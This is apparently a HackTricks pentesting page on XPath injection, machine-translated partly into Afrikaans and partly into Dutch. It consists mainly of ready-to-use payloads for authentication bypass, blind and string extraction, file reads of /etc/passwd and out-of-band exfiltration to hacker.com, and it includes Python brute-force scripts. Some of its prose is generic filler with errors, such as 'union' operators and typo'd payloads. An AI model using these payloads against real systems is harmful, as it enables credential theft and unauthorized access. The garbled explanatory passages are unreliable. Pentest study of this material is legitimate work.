hacktricks/pentesting-web/xpath-injection.md
2024-02-11 02:07:06 +00:00

21 KiB

XPATH-inspuiting

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Sluit aan by die HackenProof Discord bediener om te kommunikeer met ervare hackers en foutjagters!

Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek

Hack-nuus in werklike tyd
Bly op hoogte van die vinnige wêreld van hacking deur werklike nuus en insigte

Nuutste aankondigings
Bly ingelig met die nuutste foutjagte wat begin en belangrike platform-opdaterings

Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!

Basiese sintaksis

'n Aanvalstegniek wat bekend staan as XPath-inspuiting word gebruik om voordeel te trek uit toepassings wat XPath (XML Path Language) navrae vorm op grond van gebruikersinvoer om XML-dokumente te ondersoek of te navigeer.

Beskryfde knooppunte

Uitdrukkings word gebruik om verskillende knooppunte in 'n XML-dokument te kies. Hierdie uitdrukkings en hul beskrywings word hieronder saamgevat:

  • nodenaam: Alle knooppunte met die naam "nodenaam" word gekies.
  • /: Kies vanaf die wortelknooppunt.
  • //: Kies knooppunte wat ooreenstem met die seleksie vanaf die huidige knooppunt, ongeag hul posisie in die dokument.
  • .: Die huidige knooppunt word gekies.
  • ..: Die ouerknooppunt van die huidige knooppunt word gekies.
  • @: Eienskappe word gekies.

XPath-voorbeelde

Voorbeelde van paduitdrukkings en hul resultate sluit in:

  • boekwinkel: Alle knooppunte met die naam "boekwinkel" word gekies.
  • /boekwinkel: Die wortel-element boekwinkel word gekies. Dit moet opgemerk word dat 'n absolute pad na 'n element voorgestel word deur 'n pad wat begin met 'n sku
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Toegang tot die inligting

XPath-injeksie is 'n tegniek wat gebruik word om toegang tot inligting in 'n webtoepassing te verkry deur die manipulasie van XPath-uitdrukkings. Hierdie tegniek maak gebruik van spesiale karakters en operatore om die oorspronklike XPath-uitdrukking te verander en sodoende toegang tot verborge inligting te verkry.

Om toegang tot die inligting te verkry, moet jy eers die doelwit van die aanval identifiseer. Dit kan 'n soekveld, 'n URL-parameter of enige ander invoerveld wees waarin die toepassing 'n XPath-uitdrukking gebruik. Vervolgens moet jy die invoerveld toets deur spesiale karakters en operatore in te voer om te sien of dit vatbaar is vir XPath-injeksie.

As jy 'n vatbare invoerveld gevind het, kan jy dit gebruik om die XPath-uitdrukking te manipuleer en toegang tot die inligting te verkry. Jy kan byvoorbeeld die 'or' operateur gebruik om 'n valse voorwaarde in te voer en sodoende alle rekords in die databasis te verkry. Jy kan ook die 'union' operateur gebruik om data vanaf verskillende tabelle te kombineer en sodoende gevoelige inligting te ontsluit.

Dit is belangrik om te onthou dat XPath-injeksie 'n potensiële veiligheidsrisiko vir webtoepassings is. Dit kan lei tot die blootstelling van gevoelige inligting, soos gebruikersname, wagwoorde en kredietkaartinligting. Dit is dus noodsaaklik vir ontwikkelaars om behoorlike insetvalidasie en ontsmettingstegnieke te implementeer om XPath-injeksie-aanvalle te voorkom.

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identifiseer en steel die skema

XPath-injeksie kan gebruik word om die skema van 'n databasis te identifiseer en te steel. Hier is 'n voorbeeld van hoe dit gedoen kan word:

  1. Identifiseer die kwetsbare invoerveld op die webwerf wat gebruik maak van XPath-aanvrae.
  2. Voer 'n eenvoudige XPath-injeksie-aanval uit deur die invoerveld te manipuleer.
  3. Gebruik die extractvalue()-funksie om die skema van die databasis te onttrek.
  4. Analiseer die verkrygde skema om die tabelle, kolomme en ander relevante inligting te identifiseer.
  5. Stel 'n aanval voor om die data in die databasis te steel deur die verkrygde inligting te gebruik.

Dit is belangrik om te onthou dat die uitvoering van hierdie tegniek slegs toegelaat word op stelsels waar jy toestemming het om te pentest. Misbruik van hierdie tegniek sonder toestemming is onwettig en kan lei tot regsnakomings.

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Verifikasie deurloop

Voorbeeld van navrae:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR omseiling in gebruikersnaam en wagwoord (gelyke waarde in beide)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Misbruik van null-injectie

Null-injectie is een techniek die wordt gebruikt om XPath-injectieaanvallen uit te voeren op webapplicaties die XPath-query's gebruiken om gegevens uit een XML-bron te extraheren. Bij null-injectie wordt een speciale tekenreekswaarde, zoals 'null' of '0', ingevoegd in een XPath-query om de query te manipuleren en onbedoelde resultaten te verkrijgen.

Null-injectie kan worden gebruikt om verschillende soorten aanvallen uit te voeren, zoals het omzeilen van authenticatie, het verkrijgen van gevoelige informatie en het uitvoeren van ongeautoriseerde acties. Het kan ook worden gebruikt om fouten in de applicatie te veroorzaken, zoals het genereren van een foutmelding of het crashen van de applicatie.

Om null-injectie uit te voeren, moet je de XPath-query van de applicatie analyseren en de juiste plaats vinden om de null-waarde in te voegen. Dit kan worden gedaan door de invoer van de gebruiker te manipuleren of door de URL-parameters of formuliergegevens aan te passen.

Hier is een voorbeeld van een XPath-query met null-injectie:

' or 1=1 or ''='

In dit voorbeeld wordt de null-waarde ingevoegd tussen de enkele aanhalingstekens om de voorwaarde '1=1' waar te maken, waardoor de query altijd waar is en alle resultaten worden geretourneerd.

Het is belangrijk op te merken dat null-injectie alleen werkt als de applicatie onvoldoende validatie en sanitization uitvoert op de invoer van de gebruiker. Het is daarom essentieel om de applicatie grondig te testen en eventuele kwetsbaarheden te identificeren voordat null-injectie kan worden gebruikt.

Username: ' or 1]%00

Dubbele OF in Gebruikersnaam of in wagwoord (is geldig met slegs 1 kwesbare veld)

BELANGRIK: Let daarop dat die "en" die eerste operasie is wat uitgevoer word.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

String-ekstraksie

Die uitset bevat string-ekse en die gebruiker kan die waardes manipuleer om te soek:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Blinde Uitbuiting

Kry die lengte van 'n waarde en onttrek dit deur vergelykings:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Voorbeeld

Hier is een voorbeeld van hoe XPath-injectie kan worden uitgevoerd met behulp van Python:

import requests

def exploit(url, payload):
    response = requests.get(url + "/search?query=" + payload)
    return response.text

url = "http://example.com"
payload = "' or 1=1 or ''='"

result = exploit(url, payload)
print(result)

In dit voorbeeld wordt de exploit-functie gebruikt om een XPath-injectieaanval uit te voeren op de opgegeven URL met de gegeven payload. De payload is zo geconstrueerd dat de query altijd waar is, waardoor alle resultaten worden teruggegeven. Het resultaat wordt vervolgens afgedrukt.

Het is belangrijk op te merken dat dit voorbeeld alleen bedoeld is voor educatieve doeleinden en dat het uitvoeren van een XPath-injectieaanval zonder toestemming illegaal is.

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Lees lêer

XPath-injeksie kan gebruik word om lêers te lees deur die gebruik van 'n foutiewe XPath-navraag. Hier is 'n voorbeeld van hoe dit gedoen kan word:

<root>
  <user>
    <name>Alice</name>
    <password>123456</password>
  </user>
  <user>
    <name>Bob</name>
    <password>789012</password>
  </user>
</root>

As ons 'n XPath-navraag soos die volgende gebruik: //user[name/text()='Alice']/password/text(), sal dit die wagwoord van die gebruiker "Alice" teruggee, wat in hierdie geval "123456" is.

Om 'n lêer te lees, kan ons die volgende XPath-navraag gebruik: document('file:///etc/passwd'). Hierdie navraag sal die inhoud van die /etc/passwd-lêer teruggee.

Dit is belangrik om te verstaan dat XPath-injeksie 'n ernstige veiligheidsrisiko is en dat dit gebruik kan word om gevoelige inligting te verkry. Dit is dus noodsaaklik om behoorlike maatreëls te tref om dit te voorkom.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Uitbuiting

Out-of-Band (OOB) uitbuiting is een techniek die wordt gebruikt bij XPath-injectie om gegevens uit het doelsysteem te extraheren via een ander communicatiekanaal dan de standaard HTTP-respons. Dit kan handig zijn in situaties waarin de uitvoer van de XPath-query niet direct beschikbaar is in de HTTP-respons.

OOB-kanalen

Er zijn verschillende OOB-kanalen die kunnen worden gebruikt om gegevens uit het doelsysteem te extraheren:

  • DNS: De aanvaller kan een DNS-query initiëren naar een door hem gecontroleerde DNS-server en de geëxtraheerde gegevens in het DNS-antwoord opnemen.
  • HTTP: De aanvaller kan een HTTP-verzoek initiëren naar een door hem gecontroleerde webserver en de geëxtraheerde gegevens in het HTTP-verzoek opnemen.
  • SMTP: De aanvaller kan een e-mailbericht verzenden naar een door hem gecontroleerde SMTP-server en de geëxtraheerde gegevens in het e-mailbericht opnemen.
  • FTP: De aanvaller kan een FTP-verzoek initiëren naar een door hem gecontroleerde FTP-server en de geëxtraheerde gegevens in het FTP-verzoek opnemen.

OOB-uitbuitingstechnieken

Er zijn verschillende technieken die kunnen worden gebruikt om OOB-uitbuiting uit te voeren bij XPath-injectie:

  • Boolean-based: De aanvaller kan de XPath-query zo manipuleren dat deze een waarheidsgetal retourneert, wat kan worden gebruikt om gegevens te extraheren via OOB-kanalen.
  • Error-based: De aanvaller kan de XPath-query zo manipuleren dat deze een fout veroorzaakt, waarvan de details kunnen worden geëxtraheerd via OOB-kanalen.
  • Union-based: De aanvaller kan de XPath-query zo manipuleren dat deze meerdere resultaatsets combineert, waarvan de gegevens kunnen worden geëxtraheerd via OOB-kanalen.
  • Time-based: De aanvaller kan de XPath-query zo manipuleren dat deze een vertraging veroorzaakt, waarvan de duur kan worden gebruikt om gegevens te extraheren via OOB-kanalen.

OOB-uitbuitingshulpmiddelen

Er zijn verschillende hulpmiddelen beschikbaar die kunnen worden gebruikt om OOB-uitbuiting uit te voeren bij XPath-injectie:

  • Burp Suite: Een populaire tool voor webbeveiliging die OOB-uitbuiting ondersteunt.
  • SQLMap: Een geautomatiseerd pentesting-hulpmiddel dat ook OOB-uitbuiting ondersteunt.
  • Xploit: Een open-source tool specifiek ontworpen voor OOB-uitbuiting bij XPath-injectie.

OOB-uitbuitingsvoorbeelden

Hier zijn enkele voorbeelden van OOB-uitbuiting bij XPath-injectie:

  • DNS-exfiltratie: De aanvaller kan een DNS-query initiëren met geëxtraheerde gegevens als subdomeinnaam, die vervolgens kan worden opgevangen door een door hem gecontroleerde DNS-server.
  • HTTP-exfiltratie: De aanvaller kan een HTTP-verzoek initiëren met geëxtraheerde gegevens als queryparameters, die vervolgens kan worden opgevangen door een door hem gecontroleerde webserver.
  • SMTP-exfiltratie: De aanvaller kan een e-mailbericht verzenden met geëxtraheerde gegevens als inhoud, die vervolgens kan worden opgevangen door een door hem gecontroleerde SMTP-server.
  • FTP-exfiltratie: De aanvaller kan een FTP-verzoek initiëren met geëxtraheerde gegevens als bestandsinhoud, die vervolgens kan worden opgevangen door een door hem gecontroleerde FTP-server.

OOB-uitbuitingsbeperkingen

Hoewel OOB-uitbuiting een krachtige techniek is bij XPath-injectie, heeft het ook enkele beperkingen:

  • Afhankelijkheid van externe kanalen: OOB-uitbuiting vereist dat de aanvaller controle heeft over een extern communicatiekanaal, zoals een DNS-server, webserver, SMTP-server of FTP-server.
  • Vertraging: OOB-uitbuiting kan vertraging veroorzaken in het uitvoeren van de aanval, omdat de geëxtraheerde gegevens via een ander communicatiekanaal moeten worden verzonden.
  • Detectie: OOB-uitbuiting kan worden gedetecteerd door beveiligingsmechanismen die het verkeer naar externe kanalen controleren of beperken.

Conclusie

OOB-uitbuiting is een waardevolle techniek bij XPath-injectie, omdat het de aanvaller in staat stelt gegevens uit het doelsysteem te extraheren via externe communicatiekanalen. Door gebruik te maken van verschillende OOB-kanalen en uitbuitingstechnieken, kan de aanvaller gevoelige informatie verkrijgen en de impact van de aanval vergroten. Het is echter belangrijk om rekening te houden met de beperkingen van OOB-uitbuiting en de mogelijke detectie ervan.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Outomatiese instrumente

Verwysings

Sluit aan by die HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek

Real-Time Hack-nuus
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte

Nuutste aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platform-opdaterings

Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: